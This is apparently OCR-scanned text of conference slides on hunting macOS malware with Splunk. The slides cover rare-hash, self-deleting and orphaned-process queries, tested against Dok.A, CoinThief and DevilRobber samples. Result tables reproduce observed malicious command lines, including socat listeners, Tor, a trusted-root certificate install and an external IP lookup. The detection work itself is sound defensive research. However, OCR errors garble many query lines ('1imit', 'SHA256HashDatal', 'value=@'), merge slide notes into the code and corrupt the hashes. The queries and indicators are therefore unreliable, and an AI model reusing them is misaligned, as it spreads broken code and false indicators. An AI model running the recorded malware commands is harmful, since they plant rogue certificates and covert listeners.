9594e016de256falbdc33aa3919f5e19d733d4ddf69e6571dd76eba00c2c4513 4—— unique but benign 1

10de32d89435f4544bce543c836e5adb158a11805082e9f52d50df3a05bba240 3

Ste p 1 : R eS u ItS Of q u e ry - 910bed63e44d55a3ca589ceb5f078b7a519784ab3b420622e76fa18c5024605e 3

S u p posed Iy aI I Of th ese are ecbff6b69dd8dc22d27329aa32e10e27ba898dfec82258ceb78d1b2938b24ecc 3

1927b3595a2d9f2da770266fc2500344915f12fagbc820ecf6b6cc77947f860d 4

ra re b ut . 6968e472817abd68d345c48d14f336b45fb778ec6e0540468f229139b6e69a 4

d463a194c11a9d7eda0756d27d32bda0c4271476777a42687e4f2e681054f38a 6

SHA256HashData 7cOcaScheBAcaa72774b9baB5abaddbecs7502620ae39578ed1a81190b0ageab 7

10de32dB89435f4544bce543c836e5adb158a11805082e9f52d50df9a05bba240 i iti e Applicatio ¢2gdfhoe734e888b840acce35d824077d95bad5434129d7a1 daad12f6d3c3c] 9

111920b25a64c4ec83e41d6897dbBb5e51757d91ec2cb9004be99417c6dd68af 50c26b7c71f3c79d846ab1aaae2d99ed610e7abbf07bdch485fed35442422d3 13
150c26b7c71f3c79d846ab1aaae2d99ed610e7abbf07b4cb485fed35442422d3 Battle.net/Agent/Agent.5985/Agent.app/Contents/Mac0S/Agent ~adminport=1120 1,00
1927b3595a2d9f2da770266fc2500344915f1 2fad9bc820ecf6bbecTT947f860d i pplication Support/Adobe/AdobeGCClient/agshelper /Library/Application Support/Adobe/AdobeG 1,00
3alcdca5a038b42b1fbfcabfdbec25d307a8af40afbe9c48b307372fe8167a2f r16777216 /1024 1,00
4131d4737fe8dfe66d407bfd0a0df18a4a77b89347471cc012daBefc93c661a5 // fUsers/Shared/AppStore.app/Contents/MacOS/AppStore 1,00
76968e472817abd68d345c48d14f336b45fb778ec6e0540468f229139h6e69a /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Mac0S/uid /bin/sh -c /Users/Share 1,00
TcOcabcbe89caa72774b9ba85aba9dbec87502620ae39578ed1a81199b0a8eab ././dir_6018/Scripts/haxm-isRunning 1,00
910bed63e44d55a3ca589ceb5f078b7a519784ab3b420622e76fa18c5024605e Jusr/bin/users 1,00
9594e016de256fa1bdc33aa3919f5e19d733d4ddf69e6571dd76eba00c2c4513 /Applications/MAMP/Library/bin/httpd -k stop 1,00

@PwnieFan
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Why isn't the first query enough?

event_platform=Mac event_simpleName=*ProcessRollup2
[search event_platform=Mac event_simpleName=*ProcessRollup2 security_authtrampoline
| fields ProcessGroupId_decimall]
dedup aid, SHA256HashData
eval CommandLine=substr(CommandLine,1,100)
stats values(CommandLine) as Commands, dc(aid) as AuthtrampolineCount by SHA256HashData
search AuthtrampolineCount=1
join type=outer SHA256HashData

[search event_platform=Mac event_simpleName=*ProcessRollup2 Terrible hack. Finds the
| rare SHA256HashData 1imit=10000 by aid rarest 10,000 hashes and the
| stats dc(aid) as RareGPopCount by SHA256HashDatal
| join type=outer SHA256HashData most common 10’(’)00
[search event_platform=Mac event_simpleName=*ProcessRollup2 hashes, but doesn’t

| top SHA256HashData 1imit=10000 by aid i

| stats dc(aid) as CommonGPopCount by SHA256HashData] accurately count everythmg
fillnull value=0 CommonGPopCount between.
fillnull value=0 RareGPopCount
search CommonGPopCount<2 RareGPopCount<2 . . .
eval Auth_Common_Rare=AuthtrampolineCount.",".CommonGPopCount.",".RareGPopCount Possible b_etter_solutlons.
fields SHA256HashData, Commands, Auth_Common_Rare summary indexing or known-
search NOT <redacted> NOT <redacted> good list.
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Self-deleting processes

Malware does this to
remove evidence.
Some benign installers
do to clean up after
themselves.
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Rare self-deleting processes

Some installers do this - so filtering on common hashes
again

event_platform=Mac event_simpleName=ProcessSelfDeleted
| map search="search event_simpleName=*ProcessRollup2 aid=$%$aid$
TargetProcessId_decimal=$ContextProcessId_decimal$"
| dedup aid,SHA256HashData
| eval CommandLine=substr(CommandLine,1,50)
| stats values(CommandLine) as Commands, dc(aid) as UniqueAgentCount by SHA256HashData
| join type=outer SHA256HashData
[search event_platform=Mac event_simpleName=*ProcessRollup2
| top SHA256HashData 1imit=10000 by aid
| stats dc(aid) as CommonGPopCount by SHA256HashData]
| join type=outer SHA256HashData
[search event_platform=Mac event_simpleName=*ProcessRollup2
| rare SHA256HashData 1imit=10000 by aid
| stats dc(aid) as RareGPopCount by SHA256HashDatal
| fillnull value=0 CommonGPopCount
| fillnull value=0 RareGPopCount
| search UniqueAgentCount=1 CommonGPopCount<2 RareGPopCount<2
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An optional filter

Some systems only notify you of VT hits over a certain
threshold - you can add a filter to most of these searches

that will count VT detections:

| join type=outer SHA256HashData
[search event_platform=Mac event_simpleName=VT
| stats sum(detectionCount) as VTCount by sha256
| rename sha256 as SHA256HashData]

@PwnieFan



Suspicious orphaned processes
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Was a process orphaned?

More precisely, this query looks for a parent process record that
exists within the timeframe. Long-running system processes will
trigger false positives.

aid=<aid> <process_id> event_simpleName=ProcessRollup?2
| eval JoinId=ParentProcessId_decimal
| rename CommandLine as ChildCommandLine
| join type=outer JoinId
[search aid=<aid> event_simpleName=ProcessRollup2
| eval JoinId=TargetProcessId_decimal
| rename CommandLine as ParentCommandLine]
| eval ParentCommandLine=coalesce(ParentCommandLine, "IamAnOrphan")

@PwnieFan



Orphaned process

ChildCommandLine: /Users/blackwidow/Desktop/macMalware/DevilRobber/DevilRobber
ComputerName :

ConfigBuild: 1007.4.0005%903.1

Config5itateHash_decimal: 3794089932

Entitlements_decimal: 15

FileName: DevilRobber

FilePath: /Users/blackwidow/Desktop/macMalware/DevilRobber/

GID decimal: 20

ImageFileName: fUsers/blackwidow/Desktop/macMalware/DevilRobber/DevilRobber
JoinId: 132763740734166907

LocalAddressIP4:

MALC

MD5HashData: 9dal124676165cT33cSdT10875bTeb5c3

ParentCommandLine: IamAnOrphan

@PwnieFan



Find orphaned processes for 1 host v1

event_platform=Mac aid=<aid> event_simpleName=ProcessRollup2 NOT CommandLine="/System/*" NOT CommandLine="/Library/*" NOT
CommandLine="/usr/libexec/*" NOT CommandLine=xpcproxy* NOT CommandLine="/Applications/Utilities/*" NOT CommandLine="makex" NOT
CommandLine=ipconfig* NOT CommandLine="/Applications/*" NOT "/Users/*/Library/Application Support/*" NOT
CommandLine=<bunch_of_internal_stuff> LONG RUNNING SYSTEM PROCESSES NEED TO BE FILTERED OUT

| eval JoinId=ParentProcessId_decimal

| rename CommandLine as ChildCommandLine

| join type=outer aid,TargetProcessId_decimal [search event_platform=Mac aid=<aid> event_simpleName=EndOfProcess | rename _time as
EndTime | fields aid,TargetProcessId_decimal, EndTime] USE EndOfProcess RECORDS TO CALCULATE END TIME IF IT EXISTS

| eval duration=if(isnull(EndTime),now()-_time,EndTime-_time)

| join type=outer Joinld,aid [search event_platform=Mac aid=<aid> event_simpleName=ProcessRollup2 | eval
JoinId=TargetProcessId_decimal | rename CommandLine as ParentCommandLine | fields JoinId, ParentCommandLine] FIND PARENT PROCESS
RECORD IF IT EXISTS

| eval ParentCommandLine=coalesce(ParentCommandLine, "IamAnOrphan")

| search ParentCommandLine="IamAnOrphan"

| eval ChildCommandLine=substr(ChildCommandLine,1,50)

| stats values(ChildCommandLine) as Commands, max(duration) as duration, dc(aid) as AgentsWithHash by SHA256HashData

| search AgentsWithHash=1

| join type=outer SHA256HashData [search event_platform=Mac event_simpleName=VT | stats sum(detectionCount) as VTCount by sha256 |
rename sha256 as SHA256HashData] FIND ANY VIRUSTOTAL HITS - NOT USED FOR FILTERING YET

| join type=outer SHA256HashData [search event_platform=Mac event_simpleName=ProcessRollup2 | top SHA256HashData 1imit=10000 by aid |
stats dc(aid) as CommonGPopCount by SHA256HashData] FIND 10,000 MOST COMMON PROCESSES OVER ALL MACHINES

| join type=outer SHA256HashData [search event_platform=Mac event_simpleName=ProcessRollup2 | rare SHA256HashData limit=10000 by aid

| stats dc(aid) as RareGPopCount by SHA256HashDatal FIND 10,000 LEAST COMMON PROCESSES OVER ALL MACHINES

| fillnull value=0 CommonGPopCount | fillnull value=0 RareGPopCount| fillnull value=@ VTCount | search CommonGPopCount<2
RareGPopCount<2 FILTER OUT ANY HASHES THAT EXIST ON MORE THAN ONE MACHINE @PwnieFan



Results for v1 (goodish)

18d6d1dfddb0c7b9273f21d9c69d279226ab3c9c0486b7b5c1e537332ad22¢26

3323bdc790aa08d422a2ab310dc87c26911662fc3a829f844a979b206b380f0a
3alc4ca5a038b42b1fbfcabfObec25d307a8af40afbe9c48b307372fe8167a2f
4131d4737feBdfe66d407bfd0a0df18a4a77b89347471cc012da8efc93c661a5

4152d6789038dc576c9598¢37e71626e33c0955af19ca8f67a668a97412b76ec

421ab1ef411b23e652bb592cda410316d8cdf7739f1d42186017abd45120912
5b2be50b3ec5c9425227015f566707f17fd4e571fff8bb2d0242525b986407d
72d2606b700915874f47a0b8aae9f2cfb8b422a9c07f6a7f229b7¢3737401c1e
7¢4513eb50709c2d41e72562e365637e58ef8c6e4923163dad43714686539¢f1
7f32fdcaefee42f93590f9490ab735ac9dfeb22a951ff06d721145baf563d53b
868926dc8773abddb806327b3ca9928e9d76a32abd273eal6ed73f4286260724
894486bc1ecea968a654b642f23ae357592be35604b59111313b531d837650bb
95d72314beee5fccd06d8aBedcd25eff5526440f708e5decade313c219ec69e8
968b99eal81df2a2e2c709b73c1d46ff18bb9fabad452b29267f2ddd1b19bda8
aBcba4fc118d649a9854b4bb21e97194681fb804d21ab1baf9413f571090ba02c

beea88b92fc8035a52c5cd7¢c364f95bdcab0acea2aa722146916a909f720d62f
d2cdc989d83378c0121a011480356135cef864e90a0105bf751d8af416191149

da2cfa9fc2cabd41907f9d0931cea79000a19520fe0b3d73fc40537408730e40
dff27537e811318cb3186f2ade0bd885e9895bc24212d4893409343bbb86c124

/usr/local/bin/socat tcp4-LISTEN:5555,reuseaddr,fo
/usr/local/bin/socat tcp4-LISTEN:5588,reuseaddr,fo

/usr/local/opt/tor/bin/tor
expr zrefs/heads/stable : zrefs/heads/\(:*\)

/Users/Shared/AppStore.app/Contents/MacOS/AppStore
/Users/blackwidow/Desktop/macMalware/Dok/Dok.A/Dok

/usr/bin/malloc_history 204 -callTree -getCorpseFr
/usr/bin/malloc_history 417 -callTree -getCorpseFr
/usr/bin/malloc_history 443 -callTree -getCorpseFr

/usr/local/Cellar/openssi@1.1/1.1.0g/bin/openss| x
/sbin/fsck_msdos -fn /dev/disk0s1

/usr/bin/uuidgen
/usr/local/Cellar/openssl/1.0.2n/bin/openssl| x509
/Users/blackwidow/Desktop/macMalware/CoinThief/Coi
/Users/blackwidow/Desktop/macMalware/DevilRobber/D
unzip macMalware.zip

shlock -f /Users/blackwidow/.bash_sessions/_expira
/usr/sbin/cupsd -

security add-trusted-cert -d -r trustRoot -k /Libr
security find-certificate -a -p /System/Library/Ke

/usr/bin/hiutil —create —anchors ~generate-summ

curl -version
curl api.ipify.org

echo

/usr/sbin/spindump

938485.906

938499.429
1.504
450.953

6.179

1.509

1.449

1.501

1.612

1.499
939023.555
60.869
1.508
91.029
1.677

180.986
1.492

1.492
211.060

1 0 0 0

Good hit: Connection to paoyu7gub72lykuk.onion made by Tor.
1 Tor was installegl by Dok.A 0 0

Good hit: Part of Dok.A proceds tree 0 0

1 0 0 102
Good hit: Dok.A dropper

1 0 0 0
False positive: common

Good hit: Homebrew was used o install Tor 0 0

False positive: commo# 0 0

Good Hhit: Part of Dok.A protess tree 1 0

Good hitl Homebrew was used to install Tor 0 0

1 Good hit: CoinThief 0 4

Good hit: DevilRobb@r 0 34

False'positive: me unzippihg samples 1 0

1 False positive: comfnon 0 0

1 False positive: comfnon 0 0

Good r}it: Part of Dok.A progess tree 9 ¢

1 False positive: conmimon 0 0

Good hit: Part of Dok.A proocess tree 8 .
Good hit: Part of Dok.A prfbcess tree 1

False positive: common0 0 0
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Find orphaned processes for 1 host v2

Add:
| search duration>10 OR VTCount>0

g 4 4
SHA256HashData /| Commands /| duration : AgentsWithHash s CommonGPopCount : RareGPopCount : VTCount =
18d6d1dfddb0c7b9273f21d9c69d279226ab3c9c0486b7b5c1e537332ad22¢26  /usr/local/bin/socat tcp4-LISTEN:5555,reuseaddr,fo 947622.906 1 0 0 0
/usr/local/bin/socat tcp4-LISTEN:5588,reuseaddr,fo
3323bdc790aa08d422a2ab310dc87c2691662fc3a829f844a979b206b380f0a /usr/local/opt/tor/bin/tor 947636.429 1 0 0 0
4131d4737fe8dfe66d407bfd0a0df18a4a77b89347471cc012da8efc93c661a5 /Users/Shared(AppStore.app/Coments/MacOS/AppStore 450.953 M a I wa re 0 0 102
/Users/blackwidow/Desktop/macMalware/Dok/Dok.A/Dok
7f32fdcaefee42f93590f9490ab735ac9dfeb22a951ff06d721145baf563d53b /Users/blackwidow/Desktop/macMalware/CoinThief/Coi 1.499 1 0 0 41
868926dc8773abddb806327b3ca9928e9d76a32abd273eal6ed73f4286260724 /Users/blackwidow/Desktop/macMalware/DevilRobber/D 948160.555 1 0 0 34
894486bc1ecead68a654b642f23ae357592be35604b59111313b531d837650bb  unzip macMalware.zip 60.869 1 0 1 0
968b9%ea181df2a2e2c709b73c1d46ff18bb9fabad452b29267f2ddd1b19bda8 /usr/sbin/cupsd -l 91.028 1 0 0 0
beeaB8b92fc8035a52c5cd7¢c364f95bdcab0acea2aa722146916a909f720d62f /usr/bin/hiutil —create —anchors —generate-summ 180.986 1 0 0 0
dff27537e811318cb3186f2ade0bd885e9895bc24212d4893409343bbb86c1a4  /usr/sbin/spindump 211.060 1 0 0 0

Tested on a couple of normal hosts. No hits.
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Experiment setup wins

+ Simple, isolated network setup

+ No VMs to detect

+ Process monitoring solution means no connection to any
company-specific monitoring servers is necessary

+ Process monitoring solution makes analysis easy (mostly)

@PwnieFan



Experiment setup fails

Malware may have changed behavior due to presence of
process monitoring solution.

Using hardware instead of VMs increased reset time

Ran multiple samples per experiment due to time constraints
Some samples failed to run (wrong architecture, code too old,
only infect a program not installed)
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Possible improvements

Configuration of Splunk cluster affects completeness of some Splunk commands

Use lookup tables instead of subsearches/join queries.

Automating filtering steps that can’t be built into queries (have scripts ingest query results)
Use map to run 1 host searches on multiple hosts

Use summary searches to profile behavior of executable hashes over time (makes
searches more efficient) - there are equivalent approaches for other SIEMs

Look at odd entitlements (http://newosxbook.com/ent.jl has an entitlements database)

@PwnieFan


http://newosxbook.com/ent.jl

Let's go hunting.

Word macros

e Processes typically launched by Word

e Find all the child processes of Word for 1 host
Rare launch agents

e List and count launch agents
Suspicious process behavior

e Removing quarantine attribute from a file

e Busy process trees
e Processes running from tmp dirs
e Processes running from /Library/Scripts
e Copy from tmp directories to user directories
e Long-running process with few network connections
e Process tree contains both sh and launchctl
e Process tree contains lots of shells like bash or sh Rare processes with specific characteristics
e Chown commands run on hidden dirs in user directories e Rare hashes using security_authtrampoline
e Chmod commands run on hidden dirs in user directories e Self-deleting rare processes
e Lots of profiling commands in the process tree Orphaned processes
e Determine if a process is orphaned
megan.carney@target.com/@PwnieFan e Find rare orphaned processes v1

e Find rare orphaned processes v2



